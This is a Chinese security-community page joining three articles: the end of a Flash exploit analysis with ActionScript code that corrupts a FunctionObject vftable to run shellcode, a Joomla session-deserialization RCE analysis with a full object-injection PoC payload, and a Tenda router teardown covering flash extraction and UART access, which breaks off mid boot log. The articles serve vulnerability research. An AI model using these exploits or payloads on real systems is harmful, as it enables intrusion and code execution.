代号DUBNIUM行动中CVE-2015-8651的利用样本就借助了非常特殊的方式对FunctionObject对象进行corrupt，并通过其中的apply和call方法实现了shellcode的执行。此手法与15年7月Hacking
Team事件中泄漏的利用方法非常相似。
package
{
public class Trigger
{
public static function dummy(... _args):void
{
}
}
}
图80 Trigger类中定义的dummy方法
下述代码说明了如何借助泄露的对象地址来获取FunctionObject对象的vftable指针。
Trigger.dummy();
var _local_1:uint = getObjectAddr(Trigger.dummy);
var _local_6:uint = read32(((read32((read32((read32((_local_1 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) + (isMitis * 0x04))); <- _local_6 holds address to FunctionObject vptr pointer
var _local_5:uint = read32(_local_6);
图81 获取FunctionObject对象的vftable指针
当然，这种计算偏移的方式有点死，其中用到的偏移量与Adobe Flash Player的内部数据结构以及这些结构在内存中的组织形式有关。
随后，这个泄漏的vftable指针会被一个伪造指针所覆盖，但除了将其中指向apply方法的指针用VirtualProtect函数地址替换外，指向的其余内容都是相同的。这样，当此corrupt后的FunctionObject对象调用apply方法时，它实际上就会调用到VirtualProtect函数，所给参数指向了用于临时保存shellcode的内存，通过这种方式可将其页面属性设成RWX(可读/可写/可执行)。
var virtualProtectAddr:uint = getImportFunctionAddr("kernel32.dll", "VirtualProtect"); // resolving kernel32!VirtualProtect address
if (!virtualProtectAddr)
{
return (false);
};
var _local_3:uint = read32((_local_1 + 0x1C));
var _local_4:uint = read32((_local_1 + 0x20));
//Build fake vftable
var _local_9:Vector.<uint> = new Vector.<uint>(0x00);
var _local_10:uint;
while (_local_10 < 0x0100)
{
_local_9[_local_10] = read32(((_local_5 - 0x80) + (_local_10 * 0x04)));
_local_10++;
};
//Replace vptr
_local_9[0x27] = virtualProtectAddr;
var _local_2:uint = getAddrUintVector(_local_9);
write32(_local_6, (_local_2 + 0x80)); // _local_6 holds the pointer to FunctionObject
write32((_local_1 + 0x1C), execMemAddr); // execMemAddr points to the shellcode memory
write32((_local_1 + 0x20), 0x1000);
var _local_8:Array = new Array(0x41);
Trigger.dummy.call.apply(null, _local_8); // call kernel32!VirtualProtect upon shellcode memory
图82 虚之apply，实则VirtualProtect
以下是处理apply方法调用的反汇编代码。
6cb92679 b000 mov al,0
6cb9267b 0000 add byte ptr [eax],al
6cb9267d 8b11 mov edx,dword ptr [ecx] <-- read corrupt vftable 07e85064
6cb9267f 83e7f8 and edi,0FFFFFFF8h
6cb92682 57 push edi
6cb92683 53 push ebx
6cb92684 50 push eax
6cb92685 8b4218 mov eax,dword ptr [edx+18h]
6cb92688 ffd0 call eax <-- Calls kernel32!VirtualProtect
图83 读取corrupt后的vftable指针
当exploit将0x6cb9267d指令处ecx所指向的vftable指针替换掉后，程序将转而执行VirtualProtect调用，下述为覆盖vftable指针时的日志信息。
WriteInt 07e85064 6d19a0b0 -> 080af90c <-- Corrupt vftable pointer
图84 覆盖vftable指针
0:031> dds ecx
07e85064 080af90c <- pointer to vftable
07e85068 07e7a020
07e8506c 07e7a09c
07e85070 00000000
07e85074 00000000
07e85078 6d19cc70
07e8507c 651864fd
图85 0x07e85064处的指针指向伪造的vftable结构
可以看到原先指向AS3_apply方法的函数指针此时指向的是VirtualProtect函数。
0:031> dds edx
080af90c 6cb72770
080af910 6cb72610
080af914 6cb73990
080af918 6cb73a10
080af91c 6cb9d490
080af920 6cd8b340
080af924 6cb73490
080af928 75dc4317 kernel32!VirtualProtect <-- corrupt vptr
080af92c 6cb72960
080af930 6cab4830
080af934 6cb73a50
...
图86 伪造的vftable结构
在借助VirtualProtect函数完成shellcode所在页的RWX属性设置后，exploit将使用FunctionObject对象的call方法实现接下来的代码执行，之所以不再使用apply方法是因为此过程不需要再传递任何参数了，并且调用call方法也更简单。
Trigger.dummy();
var _local_2:uint = getObjectAddr(Trigger.dummy);
var functionObjectVptr:uint = read32(((read32((read32((read32((_local_2 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) + (isMitis* 0x04))); // Locate FunctionObject vptr pointer in memory
var _local_3:uint = read32(_local_4);
if ((((!((sc == null)))) && ((!((sc == execMem))))))
{
execMem.position = 0x00;
execMem.writeUnsignedInt((execMemAddr + 0x04));
execMem.writeBytes(sc);
};
write32(functionObjectVptr, (execMemAddr - 0x1C)); // 0x1C is the call pointer offset in vptr
Trigger.dummy.call(null);
图87 通过call方法来执行shellcode
此外，这个shellcode执行程序是高度模块化的，甚至可以直接通过传递API函数名和参数的方式来让shellcode执行所需的功能，这就使得shellcode的构建变得非常有扩展性。
_local_5 = _se.callerEx("WinINet!InternetOpenA", new <Object>["stilife", 0x01, 0x00, 0x00, 0x00]);
if (!_local_5)
{
return (false);
};
_local_18 = _se.callerEx("WinINet!InternetOpenUrlA", new <Object>[_local_5, _se.BAToStr(_se.h2b(_se.urlID)), 0x00, 0x00, 0x80000000, 0x00]);
if (!_local_18)
{
_se.callerEx("WinINet!InternetCloseHandle", new <Object>[_local_5]);
return (false);
};
图88 shellcode中的部分调用
在这个样本中，shellcode不再是内存中一段连续的指令代码了，而是由分散的各部分调用函数组成的，我们可以直接在实现ActionScript的native层代码上设置断点来跟踪这些调用，例如，下述反汇编结果给出的是进行InternetOpenUrlA调用的那部分shellcode代码。
* AS3 Call
08180024 b80080e90b mov eax,0BE98000h
08180029 94 xchg eax,esp
0818002a 93 xchg eax,ebx
0818002b 6800000000 push 0
08180030 6800000000 push 0
08180035 6800000000 push 0
0818003a 6801000000 push 1
0818003f 68289ed40b push 0BD49E28h
08180044 b840747575 mov eax,offset WININET!InternetOpenA (75757440) <- Call to WININET! InternetOpenA
08180049 ffd0 call eax
0818004b bf50eed40b mov edi,0BD4EE50h
图89 调用InternetOpenUrlA的那部分shellcode
最后需要注意下，借助FunctionObject对象的corrupt来实现CFG保护的绕过只对Win10或Win8.1中的IE11有效，Win10中的Edge是不受影响的。
### 7 结论
在逆向Flash利用样本的过程中我们并没有被赋予太多的自由。首先，Flash Player本身是一个庞大的二进制项目，但却没有提供任何的符号文件给研究人员。
其次，很多与漏洞相关的逻辑实际上发生在AVM2的内部，这对研究人员来说是非常有问题的，因为目前并没有太多的工具能用于SWF文件的插桩和调试。
我们的策略是从字节码插桩开始并逐渐添加那些帮助性的代码，这在Flash模块或JIT层面的调试中可以选择性的使用。另外，对那些ByteArray相关的代码进行插桩能在很大程度上方便我们的调试，因为许多利用方式仍然会借助ByteArray对象的corruption来实现RW
primitives功能。
我们还发现最近的exploit都将关注点放到了MMgc上，因为通过解析内存和遍历对象可以达到访问其内部数据结构的目的，而一旦样本事先获取了RW
primitives，那么许多内部结构就很可能被用于实现代码的执行，借助随机化技术访问MMgc的内部结构可能会降低漏洞利用的成功率。此外，一个明显的事实是Flash漏洞在利用时不需要进行太多的堆喷，通常几兆字节的堆喷就非常有效了，因为堆布局有时是非常容易进行预测的，近段以来，这种堆布局和堆地址的可预测性也被大量的exploit所利用。
### 8 附录
#### 分析样本
CVE-ID | SHA1 | Discussed techniques
---|---|---
CVE-2015-0336 | 2ae7754c4dbec996be0bd2bbb06a3d7c81dc4ad7 | vftable corruption
CVE-2015-5122 | e695fbeb87cb4f02917e574dabb5ec32d1d8f787 | Vector.length
corruption
CVE-2015-7645 | 2df498f32d8bad89d0d6d30275c19127763d5568 | ByteArray.length
corruption
CVE-2015-8446 | 48b7185a5534731726f4618c8f655471ba13be64 | GCBlock structure
abuse, JIT stack corruption
CVE-2015-8651 (DUBNIUM) | c2cee74c13057495b583cf414ff8de3ce0fdf583 |
FunctionObject corruption
CVE-2015-8651 (Angler) | 10c17dab86701bcdbfc6f01f7ce442116706b024 |
MethodInfo._implGPR corruption
CVE-2016-1010 | 6fd71918441a192e667b66a8d60b246e4259982c |
ConvolutionFilter.matrix to tabStops type-confusion, MMgc parsing, JIT stack
corruption
* * * | 社区文章 |
# session反序列化代码执行漏洞分析[Joomla RCE]
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
****
**Author：L.N.@360adlab**
**0x01 漏洞影响版本**
PHP < 5.6.13
**0x02 joomla利用程序分析**
joomla具体漏洞分析请看[phith0n牛分析文章](http://drops.wooyun.org/papers/11330)，本文只讨论此漏洞的核心问题所在。
**利用程序poc：**
}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}�
注意poc中的ð���截断字符，此处是关键，当我们把此poc注入到数据库以后所形成的数据为：
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450174018;s:18:"session.timer.last";i:1450174018;s:17:"session.timer.now";i:1450174018;s:22:"session.client.browser";s:412:"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}
此时截断字符消失。
通过分析php底层实现代码：
[https://github.com/php/php-src/blob/PHP-5.4.5/ext/session/session.c](https://github.com/php/php-src/blob/PHP-5.4.5/ext/session/session.c)
#define PS_DELIMITER '|'
#define PS_UNDEF_MARKER '!'
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
const char *p, *q;
char *name;
const char *endptr = val + vallen;
zval *current;
int namelen;
int has_value;
php_unserialize_data_t var_hash;
PHP_VAR_UNSERIALIZE_INIT(var_hash);
p = val;
while (p < endptr) {
zval **tmp;
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) goto break_outer_loop;
}
if (p[0] == PS_UNDEF_MARKER) {
p++;
has_value = 0;
} else {
has_value = 1;
}
namelen = q - p;
name = estrndup(p, namelen);
q++;
if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) {
if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table)) || *tmp == PS(http_session_vars)) {
goto skip;
}
}
if (has_value) {
ALLOC_INIT_ZVAL(current);
if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
}
zval_ptr_dtor(¤t);
}
PS_ADD_VARL(name, namelen);
skip:
efree(name);
p = q;
}
break_outer_loop:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return SUCCESS;
}
代码中通过指针移动判断"|"的位置，获取"|"前面部分为session键名，然后通过php_var_unserialize函数反序列化"|"后面部门，如果解析成功则把值写入session，如果解析失败则销毁当变量，然后继续移动指针判断"|",如果"|"存在，继续把"|"前数据作为变量，解析"|"后面的值。
结合joomla漏洞：
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450174018;s:18:"session.timer.last";i:1450174018;s:17:"session.timer.now";i:1450174018;s:22:"session.client.browser"
;s:412:"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}
当php解析此段数据的时候，首先获取到"|"前面的数据"__default"为session的键名，然后"|"后面的数据进入反序列化流程php_var_unserialize，反序列化流程的底层关键代码如下：
[https://github.com/php/php-src/blob/PHP-5.4.5/ext/standard/var_unserializer.c](https://github.com/php/php-src/blob/PHP-5.4.5/ext/standard/var_unserializer.c)
size_t len, maxlen;
char *str;
len = parse_uiv(start + 2);
maxlen = max - YYCURSOR;
if (maxlen < len) {
*p = start + 2;
return 0;
}
指针依次移动反序列化数据，当解析到如下数据的时候：
······s:412:"}__test|O:21:"JData······
数据经过上面关键代码：
len = parse_uiv(start + 2);通过parase_uiv获取412这个值给len；
maxlen = max – YYCURSOR;获取当前指针以后数据的长度，YYCURSOR当前指针指向}，即获取的是}_test……的数据长度为408
少了4个字符，这少的4个字符为我们的截断字符。
这样，此时if判断成功，进入内部语句，使得反序列化失败返回0，而我们的指针p指向"4".
if (maxlen < len) {
*p = start + 2;
return 0;
}
php_var_unserialize返回0，
if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
}
zval_ptr_dtor(¤t);
efree(name);
p = q;
注销当前变量，p =
q;进入下一个循环，继续寻找"|",由于我们的p目前指向的是"4",所以session键名为412:"}__test，"|"后面数据正常反序列化，
最后经过session反序列化joomla的poc后代码执行：
'412:"}__test' =>object(JDatabaseDriverMysqli)[30]
public 'name' => string 'mysqli' (length=6)protected 'nameQuote' => string '`' (length=1)protected 'nullDate' => string '0000-00-00 00:00:00' (length=19)private '_database' (JDatabaseDriver) => nullprotected 'connection' => boolean trueprotected 'count' => int 0protected 'cursor' => nullprotected 'debug' => boolean falseprotected 'limit' => int 0protected 'log' =>array (size=0)emptyprotected 'timings' =>array (size=0)emptyprotected 'callStacks' =>array (size=0)emptyprotected 'offset' => int 0protected 'options' => nullprotected 'sql' => nullprotected 'tablePrefix' => nullprotected 'utf' => boolean trueprotected 'errorNum' => int 0protected 'errorMsg' => nullprotected 'transactionDepth' => int 0protected 'disconnectHandlers' =>array (size=1)
0 =>array (size=2)
...
public 'fc' =>object(JSimplepieFactory)[31]
**0x03 php >=5.6.13版本修复**
在php>=5.6.13版本中修复此问题，5.6.13版本以前是第一个变量解析错误注销第一个变量，然后解析第二个变量，但是5.6.13以后如果第一个变量错误，直接销毁整个session。
[https://github.com/php/php-src/blob/PHP-5.6.13/ext/session/session.c](https://github.com/php/php-src/blob/PHP-5.6.13/ext/session/session.c)
ALLOC_INIT_ZVAL(current);
if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
} else {
var_push_dtor_no_addref(&var_hash, ¤t);
efree(name);
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return FAILURE;
}
var_push_dtor_no_addref(&var_hash, ¤t);
感谢@ryat师傅的指导。
**另一篇技术分析:**
**<http://bobao.360.cn/learning/detail/2500.html>** | 社区文章 |
**作者：The_Itach1@知道创宇404实验室
日期：2022年11月22日**
## 设备简述
Tenda WiFi6
双频无线路由器工作在2.4GHz和5GHz频段，支持802.11ax技术，双频并发无线速率高达2976Mbps；支持OFDMA技术，实现在同一时刻多个用户同时并行传输，提高数据传输效率；支持宽带账号密码迁移，替换旧路由时，忘记宽带账号密码也不怕；支持IPv6，无需经过地址转换（NAT），上网更畅快。
这个路由器只有一个指示灯
* 常亮， 路由器正在启动或者已联网成功
* 慢闪，路由器未联网。
* 快闪3秒， 网口有设备接入或者有设备移除
* 快闪2分钟 路由器正在进行WPS协商
然后就是路由器的几个接口
POWER, 电源接口，连接包装盒内的电源适配器。
* WPS/RST，WPS、REST复用按钮。
作为WPS按钮：按一下，即开始WPS协商，指示灯快闪（有效时间2分钟）。路由器进入WPS协商状态。2分钟内，客户端可以通过WPS-PBC方式便捷地连接到路由器的无限网络，无需输入无线密码。
作为RST按钮：路由器正常运行时，按住此按钮约8秒，当知识点快闪时松开，路由器将会恢复出厂设置。当指示灯变成常亮时，恢复出厂设置成功。
* WAN，互联网接口。10/100/1000Mbps自适应。用于链接光猫，DSL猫，有线电视猫，或宽带网口。
* 1、2、IPTV/3 内网接口、IPTV口复用，默认为内网接口。10/100/1000Mbps自适应。路由器启用IPTV功能后，默认绑定IPTV3/接口作为IPTV接口，只能连接机顶盒。根据需要可以修改IPTV口。
里面的恢复出厂设置，我们可能会用到。
## 硬件分析
### 拆机
我们先拆机对其进行简单的分析，拆机过程对我一个新手还是比较痛苦。
观察路由器底部，只有两个螺丝，用对应的螺丝刀将其拆除，接下来就是拆开上面的那层塑料外壳，非常坚硬，并且其除了接口那一边，其他方向都是包裹着下方，缝隙很小，所以只能从接口那一方开始撬开，插解过程中，非常难撬开两边的部分，这里我是使用了很多螺丝钉(有塑料可以用塑料)，不断安放在以撬开的口中，然后继续向下撬开，最后终于拆开了外壳，发现其结构是内扣，所以拆解需要向外撬。
然后已经可以看到电路板了，但是在电路板的上面和下面还有两块金属散热板，用6个小螺丝相连。
我们这里就只用插上面的散热板，就可以看到电路板了，将整个电路板翻转过来，然后用螺丝刀将6个螺丝插下，然后发现仍然不能打开，观察后发现，散热板和下面电路板的两个金属盖之间还有一层胶，而且有两处，这里我是用细小的小刀，一点一点刮出来的，费了很多时间。
接下来就可以看到整个电路板了，简单分析下电路板的一些东西。
蓝色的应该是4个串口，并且已经标好了名称。 紫色的是flash芯片，里面保存着固件，可根据上面的印字去找到芯片相关的信息。
绿色的就是4个天线，两个5G，2个2.4G。
然后中间的金属盖我就没有继续拆解了，没用到这个，拆解起来也比较麻烦，需要用扁形螺丝刀从边缘的缝隙去撬开。
### Flash芯片
去找了些关于flash芯片的介绍。
所谓Flash，是内存（Memory）的一种，但兼有RAM和ROM 的优点，是一种可在系统（In-System）进行电擦写，掉电后信息不丢失的存储器，同时它的高集成度和低成本使它成为市场主流。 Flash
芯片是由内部成千上万个存储单元组成的，每个单元存储一个bit。具有低功耗、大容量、擦写速度快、可整片或分扇区在系统编程（烧写）、擦除等特点，并且可由内部嵌入的算法完成对芯片的操作，因而在各种嵌入式系统中得到了广泛的应用。
作为一种非易失性存储器，Flash在系统中通常用于存放 程序 代码、常量表以及一些在系统掉电后需要保存的用户数据等。
常用的Flash为8位或16位的数据宽度，编程电压为单3.3V。主要的生产厂商为INTEL、ATMEL、AMD、HYUNDAI等。Flash
技术根据不同的应用场合也分为不同的发展方向，有擅长存储代码的NOR Flash和擅长存储数据的NAND Flash。
然后如果芯片上的印字没被擦除的话，我们完全可以通过芯片印字来获取到关于flash芯片的一些有用信息，图片来自iot-security.wiki
完全可以获得厂商，flash类别，大小，编程电压，封装类型，温度等信息。
下面是Tenda Ax12的flag芯片印字，可以看到芯片印字为winbond 25Q128JVSQ 2104
可以看出是华邦(winbond)的芯片，可到官网去查阅其技术文档获取更多的信息。[W25Q128JV - Serial NOR Flash - 闪存 -华邦电子 (winbond.com)](https://www.winbond.com/hq/product/code-storage-flash-memory/serial-nor-flash/index.html?__locale=zh&partNo=W25Q128JV)
进入技术文档查看其引脚配置，如果我们打算用flash芯片来提取固件，我们需要芯片的引脚信息，Tenda Ax12的引脚应该是这一款。
其中第一个引脚会有一个圆点的凹槽，对应技术文档中的图片，在我上面拍摄的flash芯片也有体现。
关于Tenda
Ax12设备的flash芯片的一些信息我们就已经知道了，可以尝试对flash芯片进行固件提取，但是我这里没有设备，编程器，芯片夹这些设备，而且有点小贵。后面可能会买个便宜的CHA341A编程器，看看能不能提出来吧。
但是基本的过程还是需要知道，从芯片来提取固件主要分为两种，由于没有实操，所以更多的可能是文字描述。
* 拆解芯片
* 不插解芯片，飞线法读取
#### 拆解芯片提取固件
一般来说有两种插解芯片的方式，热风枪吹，还有个就是焊锡。
* 热风枪吹：热风枪设置好合适的温度后，在芯片周围元件贴上锡箔纸进行保护，然后开吹，最后用镊子小心提取出芯片。
* 焊锡：用电烙铁加热上锡，分别对芯片两侧进行上锡，然后，用镊子夹出。
然后就是将取出的芯片根据引脚放到弹跳座中，然后就是将USB线将编程器连接至电脑并打开编程器软件，软件自动识别芯片，提取即可，RT809F编程器，RT809H编程器都是常见的编程器，价格大概500左右。
留个具体操作的链接，方便以后实操可以看，<https://blog.csdn.net/Freedom_hzw/article/details/104216532>
这种拆解芯片的方式，优点就是离线读取，然后缺点就是必须将芯片拆下来，可能会损伤芯片，或者设备。
#### 飞线法读取
用芯片夹夹住引脚，然后另一端接到编程器上，引脚要一一对应，而且芯片夹也分种类，有像一个小夹子的，有些是带勾尖的。
然后将USB线将编程器连接至电脑并打开编程器软件，就可以识别芯片，进行固件提取了。
这种方法优点就是不用将芯片拆下来，几乎不损伤设备，但是缺点就是可能有过电保护。
后面买了一个CHA341A编程器，用芯片夹来提取了固件，下面展示下其中的操作。
用到的工具有，对应的编程器软件和驱动可以到淘宝卖家上的链接去下载。
* CHA341A编程器：需要注意引脚1的位置
* SOP8免拆夹：红色的线，就是引脚1
* 转接板：上面有标注引脚
然后将其连接起来，可参考[CH341A
编程器和SOIC8连接器免拆夹具组装方法](https://macoshome.com/hackintosh/hcourse/8672.html)。
然后就是将芯片夹夹住芯片，然后usb接口接上电脑，感觉芯片夹不是太好用，那种钩子可能跟方便一点。
安装好驱动后，打开编程器软件，点击检测后，就自动识别好了flash芯片的类型，点击读取开始读取数据。
读取完成后保存，然后binwalk解下固件包，即可获取到文件系统。
### 串口调试(UART)
采用串口调试的方式也是可以提取固件的，如果运气好，知道登录密码，或者厂商没有防护，是可以获取到设备shell的。
需要的工具有FT232，杜邦线，万用表，SecureCRT软件。
FT232 USB转UART串口模块。
UART引脚作用
* VCC：供电pin，一般是3.3v-5v，正极
* GND：接地，负极
* RXD：接收数据引脚
* TXD：发送数据引脚
虽然Tenda Ax12设备已经提供了引脚名称，但是我们也可以使用万用表来验证一下。
**定位GND**
将万用表扭至蜂鸣档，将一只表笔抵住电源焊锡点，另一个表笔抵住通孔位置进行测试，发出蜂鸣声的通孔，就可以初步判定为GND。
**定位VCC**
将万用表扭至直流20V上，将一只表笔放置于GND上，另一只表笔依次对其它通孔进行测试，查看哪个是电压3.3V,如果是大概率就是VCC串口，虽然VCC串口我们可能用不到，但是这个我们可以排除这一个串口是其他串口的可能。
**定位TXD**
每次有数据传输的时候该引脚电压都会发生变化。路由器开机的时候有启动信息会从这个引脚输出，这时候电压就会发生变化，此引脚即为TXD。
**定位RXD**
其他3个引脚都以确认，剩下的一个就是RXD。
现在我们就知道了电路板上GND就是GND，IN就是RXD，OUT就是TXD，3V3就是VCC。但是连接杜邦线的时候需要这样连接，一般来说连GND，RXD，TXD就可以了。
* FT232上的TXD连接到电路板的RXD(IN)
* FT232上的RXD连接到电路板的RXD(TXD)
* FT232上的GND连接到电路板的GND
连接完成后如下。
然后打开SecureCRT，网上随便都能找到下载和使用，配置好，就可以连接了。
然后重启路由器，就可以看到在打印启动日志了。
由于日志太多，窗口没法完全显示，所以可以设置下，将日志导出，就可在指定目录下查看启动日志了。
大概浏览的日志内容后，可以获得一些有用的信息，文件系统是squashfs，linux版本，架构，以及挂载情况。
20221102_10:11:42:
20221102_10:11:42: ROM VER: 2.1.0
20221102_10:11:42: CFG 05
20221102_10:11:42: B
20221102_10:11:44:
20221102_10:11:44:
20221102_10:11:44: U-Boot 2016.07-INTEL-v-3.1.177 (Nov 25 2020 - 09:48:15 +0000)
20221102_10:11:44:
20221102_10:11:44: interAptiv
20221102_10:11:44: cps cpu/ddr run in 800/666 Mhz
20221102_10:11:44: DRAM: 224 MiB
20221102_10:11:44: manuf ef, jedec 4018, ext_jedec 0000
20221102_10:11:44: SF: Detected W25Q128BV with page size 256 Bytes, erase size 64 KiB, total 16 MiB
20221102_10:11:44: *** Warning - Tenda Environment, using default environment
20221102_10:11:44:
20221102_10:11:44: env size:8187, crc:a1e4bcc2 need a1e4bcc2
20221102_10:11:44: In: serial
20221102_10:11:44: Out: serial
20221102_10:11:44: Err: serial
20221102_10:11:44: Net: multi type
20221102_10:11:44: Internal phy firmware version: 0x8548
20221102_10:11:44: GRX500-Switch
20221102_10:11:44:
20221102_10:11:44: Type run flash_nfs to mount root filesystem over NFS
20221102_10:11:44:
20221102_10:11:49: Hit ESC to stop autoboot: 0
20221102_10:11:49: Wait for upgrade... use GRX500-Switch
20221102_10:11:55: tenda upgrade timeout.
20221102_10:11:55: manuf ef, jedec 4018, ext_jedec 0000
20221102_10:11:55: SF: Detected W25Q128BV with page size 256 Bytes, erase size 64 KiB, total 16 MiB
20221102_10:11:55: device 0 offset 0x100000, size 0x200000
20221102_10:11:58: SF: 2097152 bytes @ 0x100000 Read: OK
20221102_10:11:58: ## Booting kernel from Legacy Image at 80800000 ...
20221102_10:11:58: Image Name: MIPS UGW Linux-4.9.206
20221102_10:11:58: Created: 2021-08-23 9:11:35 UTC
20221102_10:11:58: Image Type: MIPS Linux Kernel Image (lzma compressed)
20221102_10:11:58: Data Size: 2080384 Bytes = 2 MiB
20221102_10:11:58: Load Address: a0020000
20221102_10:11:58: Entry Point: a0020000
20221102_10:11:59: Verifying Checksum ... OK
20221102_10:12:01: Uncompressing Kernel Image ... OK
20221102_10:12:01: [ 0.000000] Linux version 4.9.206 (root@ubt1-virtual-machine) (gcc version 8.3.0 (OpenWrt GCC 8.3.0 v19.07.1_intel) ) #0 SMP Mon Aug 23 03:34:58 UTC 2021
20221102_10:12:01: [ 0.000000] SoC: GRX500 rev 1.2
20221102_10:12:01: [ 0.000000] CPU0 revision is: 0001a120 (MIPS interAptiv (multi))
20221102_10:12:01: [ 0.000000] Enhanced Virtual Addressing (EVA 1GB) activated
20221102_10:12:01: [ 0.000000] MIPS: machine is EASY350 ANYWAN (GRX350) Main model
20221102_10:12:01: [ 0.000000] Coherence Manager IOCU detected
20221102_10:12:01: [ 0.000000] Hardware DMA cache coherency disabled
20221102_10:12:01: [ 0.000000] earlycon: lantiq0 at MMIO 0x16600000 (options '')
20221102_10:12:01: [ 0.000000] bootconsole [lantiq0] enabled
20221102_10:12:01: [ 0.000000] User-defined physical RAM map:
20221102_10:12:01: [ 0.000000] memory: 08000000 @ 20000000 (usable)
20221102_10:12:01: [ 0.000000] Determined physical RAM map:
20221102_10:12:01: [ 0.000000] memory: 08000000 @ 20000000 (usable)
20221102_10:12:01: [ 0.000000] memory: 00007fa4 @ 206d7450 (reserved)
20221102_10:12:01: [ 0.000000] Initrd not found or empty - disabling initrd
20221102_10:12:01: [ 0.000000] cma: Reserved 32 MiB at 0x25c00000
20221102_10:12:01: [ 0.000000] SMPCMP: CPU0: cmp_smp_setup
20221102_10:12:01: [ 0.000000] VPE topology {2,2} total 4
20221102_10:12:01: [ 0.000000] Detected 3 available secondary CPU(s)
20221102_10:12:01: [ 0.000000] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes.
20221102_10:12:01: [ 0.000000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes
20221102_10:12:01: [ 0.000000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes.
20221102_10:12:01: [ 0.000000] Zone ranges:
20221102_10:12:01: [ 0.000000] DMA [mem 0x0000000020000000-0x0000000027ffffff]
20221102_10:12:01: [ 0.000000] Normal empty
20221102_10:12:01: [ 0.000000] Movable zone start for each node
20221102_10:12:01: [ 0.000000] Early memory node ranges
20221102_10:12:01: [ 0.000000] node 0: [mem 0x0000000020000000-0x0000000027ffffff]
20221102_10:12:01: [ 0.000000] Initmem setup node 0 [mem 0x0000000020000000-0x0000000027ffffff]
20221102_10:12:01: [ 0.000000] percpu: Embedded 12 pages/cpu s17488 r8192 d23472 u49152
20221102_10:12:01: [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 32480
20221102_10:12:01: [ 0.000000] Kernel command line: earlycon=lantiq,0x16600000 nr_cpus=4 nocoherentio clk_ignore_unused root=/dev/mtdblock6 rw rootfstype=squashfs do_overlay console=ttyLTQ0,115200 ethaddr=D8:32:14:F8:24:08 panic=1 mtdparts=spi32766.1:512k(uboot),128k(ubootconfigA),128k(ubootconfigB),256k(calibration),2m(kernel),12m(rootfs),-(res) init=/etc/preinit active_bank= update_chk= maxcpus=4 pci=pcie_bus_perf ethwan= ubootver= mem=128M@512M
20221102_10:12:01: [ 0.000000] PID hash table entries: 512 (order: -1, 2048 bytes)
20221102_10:12:01: [ 0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
20221102_10:12:01: [ 0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
20221102_10:12:01: [ 0.000000] Writing ErrCtl register=00000000
20221102_10:12:01: [ 0.000000] Readback ErrCtl register=00000000
20221102_10:12:01: [ 0.000000] Memory: 87656K/131072K available (5089K kernel code, 296K rwdata, 1268K rodata, 1268K init, 961K bss, 10648K reserved, 32768K cma-reserved)
20221102_10:12:01: [ 0.000000] SLUB: HWalign=32, Order=0-3, MinObjects=0, CPUs=4, Nodes=1
20221102_10:12:01: [ 0.000000] Hierarchical RCU implementation.
20221102_10:12:01: [ 0.000000] NR_IRQS:527
20221102_10:12:01: [ 0.000000] EIC is off
20221102_10:12:01: [ 0.000000] VINT is on
20221102_10:12:01: [ 0.000000] CPU Clock: 800000000Hz mips_hpt_frequency 400000000Hz
20221102_10:12:01: [ 0.000000] clocksource: gptc: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 9556302233 ns
20221102_10:12:01: [ 0.000010] sched_clock: 32 bits at 200MHz, resolution 5ns, wraps every 10737418237ns
20221102_10:12:01: [ 0.008263] Calibrating delay loop... 531.66 BogoMIPS (lpj=2658304)
